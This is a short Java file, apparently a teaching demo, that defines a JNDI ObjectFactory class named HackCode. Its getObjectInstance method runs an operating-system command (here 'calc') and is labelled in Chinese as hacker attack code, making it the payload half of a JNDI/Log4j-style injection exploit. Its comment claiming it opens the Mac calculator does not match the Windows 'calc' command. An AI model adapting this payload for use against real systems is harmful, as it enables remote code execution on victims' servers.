package com.gwall.lombok_logs.hacker;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
 * 执行任意的脚本，目前的脚本会使mac打开计算器
 * @author yangmeng
 */
public class HackCode implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        System.out.println("执行黑客攻击代码......");
        String[] commands = {"calc"};
        Process pc = Runtime.getRuntime().exec(commands);
        pc.waitFor();
        System.out.println("完成执行漏洞代码");
        return null;
    }


    public static void main(String[] args) throws Exception {
        HackCode code = new HackCode();

        code.getObjectInstance(null, null, null, null);
    }
}



